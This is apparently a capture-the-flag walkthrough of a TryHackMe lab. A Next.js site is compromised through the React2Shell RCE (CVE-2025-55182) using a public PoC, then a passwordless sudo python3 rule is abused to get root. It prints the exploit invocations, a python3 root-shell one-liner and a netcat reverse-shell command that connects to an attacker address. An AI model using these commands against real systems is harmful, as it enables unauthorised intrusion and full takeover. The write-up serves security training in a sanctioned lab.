Corp Website - TryHackMe Writeup | React2Shell RCE to Root
Corp Website TryHackMe writeup β Love At First Breach 2026: CVE-2025-55182 React2Shell unauthenticated RCE, Dockerfile leak, and sudo python3 privilege escalation.
##TryHackMe Room β Corp Website (Love At First Breach 2026)
Romance & Co β a corporate website built on Next.js / React Server Components.
This challenge simulates a breach against a Next.js / React Server Components corporate site. What looked like a static marketing page was vulnerable to a critical unauthenticated RCE (CVE-2025-55182 β βReact2Shellβ). I chained that with a misconfigured sudo rule to get root. This writeup documents the full path from recon to root, with each step connected.
##Overview
| Item | Detail |
|---|---|
| Goal | Achieve full compromise and capture user and root flags |
| Attack chain | Identify Next.js/RSC β CVE-2025-55182 RCE β user access β Dockerfile leak β sudo python3 β root |
| Key concepts | React Server Components, unauthenticated RCE, build artifact disclosure, sudo misuse |
##High-level attack chain
| Step | Technique | Outcome |
|---|---|---|
| 1 | Recon | Identify Next.js application |
| 2 | Initial foothold | CVE-2025-55182 (React2Shell) RCE |
| 3 | User access | Remote command execution as daniel |
| 4 | Enumeration | Dockerfile disclosure via RCE |
| 5 | Privilege escalation | sudo python3 abuse |
| 6 | Impact | Root and both flags |
##Reconnaissance
The application was at http://<TARGET_IP>:3000. I sent a simple GET request to the root and inspected the response headers:
GET / HTTP/1.1
Host: <TARGET_IP>:3000Response headers (relevant):
HTTP/1.1 200 OK
X-Powered-By: Next.js
...So the stack was Next.js. Given the timing of the challenge and the way the page was built, I assumed it was using React Server Components (RSC) β the newer Next.js model where some components render on the server. That mattered because RSC had been in the news for a critical RCE; I made a mental note to check for that once I'd finished basic enumeration.

The site itself was a corporate landing page: hero section, marketing copy, no login form, no obvious API endpoints or parameters. I ran directory fuzzing (e.g. gobuster with /usr/share/wordlists/dirb/common.txt) to look for hidden paths like /admin, /api, or .env. I also tried common Next.js artifacts (e.g. /_next/, build manifests) and briefly experimented with VHost fuzzing. Nothing useful came back β no interesting status codes or response sizes. So the entry point was not a hidden directory or file; it had to be something that applied to the framework itself. That pushed me to look up whether Next.js or React Server Components had any recent, exploitable CVEs. A quick search led to CVE-2025-55182 ("React2Shell") β an unauthenticated RCE affecting RSC. I decided to try the public PoC against the target.
##Pivot: React Server Components RCE
Because the stack was Next.js and likely React Server Components, I looked up recent vulnerabilities. CVE-2025-55182 ("React2Shell") is a critical unauthenticated RCE that abuses how RSC handles certain internal redirects; the attacker can inject commands, and the output is reflected back (often Base64-encoded) in response headers or body. That meant I could run arbitrary commands on the server without logging in.
References:
- >Rapid7 advisory: React2Shell β CVE-2025-55182
- >Public PoC: M4xSec/CVE-2025-55182-React2Shell-RCE-Shell
I cloned the PoC repository and ran it against the target, passing a custom command so we could see who we were running as:
python3 CVE-2025-55182-exploit.py -u "http://<TARGET_IP>:3000" --custom "id"The script sends the malicious request and decodes the response; the decoded output was something like:
uid=100(daniel) gid=101(secgroup)So we had unauthenticated RCE as the user daniel. The PoC gives us a way to run any single command and get the result back; for the next steps I used the same channel to enumerate the system (read files, check sudo, etc.) instead of immediately spawning a reverse shell.

##User-level access and Dockerfile leak
With RCE as daniel, my next step was post-exploitation enumeration. In containerized or CTF environments, the application directory often contains a Dockerfile or docker-compose file left from the build; those can reveal user/root flag paths, environment variables, or β as here β sudo rules that make privilege escalation trivial. I ran the same exploit script but with a command to read the Dockerfile:
python3 CVE-2025-55182-exploit.py -u "http://<TARGET_IP>:3000" --custom "cat Dockerfile"The script returned the full Dockerfile contents (decoded from the response). In it I saw:
- >User flag: Written at build time to a path under
/home/daniel/(e.g.user.txt). So I could read the user flag with another RCE call:cat /home/daniel/user.txt. - >Root flag: Written to
/root/root.txt(or similar). We didn't have read access to that yet. - >Sudo rule: A line like
daniel ALL=(root) NOPASSWD: /usr/bin/python3β meaning the userdanielcould run only the binary/usr/bin/python3as root, with no password. That's a classic privilege escalation vector: we runsudo python3 -c '...'and inside the Python one-liner we can spawn a shell or read files as root.
So the path was clear: use the existing RCE to run sudo python3 -c 'import os; os.system("/bin/sh")' (or similar) to get a root shell, then read the root flag.

##Privilege escalation: sudo python3
The sudoers line:
daniel ALL=(root) NOPASSWD: /usr/bin/python3means that the user daniel can execute only /usr/bin/python3 as root, and the NOPASSWD option means no password is required. So from our existing RCE (which runs as daniel), we can execute:
sudo python3 -c 'import os; os.system("/bin/sh")'That runs Python as root; the one-liner imports os and calls os.system("/bin/sh"), which spawns a shell. Because the whole command is run with root privileges, the new shell is a root shell. I ran this via the same exploit script (passing the full sudo python3 -c '...' as the --custom command). The PoC returns the output of the command; for an interactive shell you would typically use a reverse shell or a bind shell. In this CTF setup, running a simple command like cat /root/root.txt via the RCE after escalating might work if the output is captured, or you can use a reverse shell payload in the Python one-liner (e.g. os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> <PORT> >/tmp/f")) and connect from your machine. Either way, once you have root, you read the root flag from the path shown in the Dockerfile.
##Flags
| Level | Flag (obfuscated) |
|---|---|
| User | THM{*redacted*} |
| Root | THM{*redacted*} |
(Replace with the actual flags when you solve the room.)
##Pitfalls and notes
- >
Relying only on directory fuzzing: I spent some time on gobuster and similar enumeration and found nothing. The real entry point was a framework-level vulnerability, not a hidden URL. For modern stacks (Next.js, React, etc.), it's worth checking for recent CVEs early so you don't assume the only way in is a forgotten admin panel.
- >
Skipping post-RCE enumeration: After getting RCE, it's tempting to go straight for a reverse shell. Here, running a few simple commands (
cat Dockerfile,sudo -l) revealed the full path to root. So before diving into shell stabilization, it pays to enumerate: list the directory, read Dockerfile if present, check sudo rules, and look for credentials or interesting files. - >
Dangerous sudo rules: Giving a user passwordless sudo to an interpreter like
python3is equivalent to giving root β the user can always spawn a shell or read any file. In real environments, sudo should be restricted to specific commands with minimal arguments, or avoided for application users entirely.
##References and tools
- >TryHackMe β Love At First Breach
- >Rapid7 β CVE-2025-55182 React2Shell
- >PoC β CVE-2025-55182-React2Shell-RCE-Shell
This writeup is part of my Love At First Breach 2026 event writeups.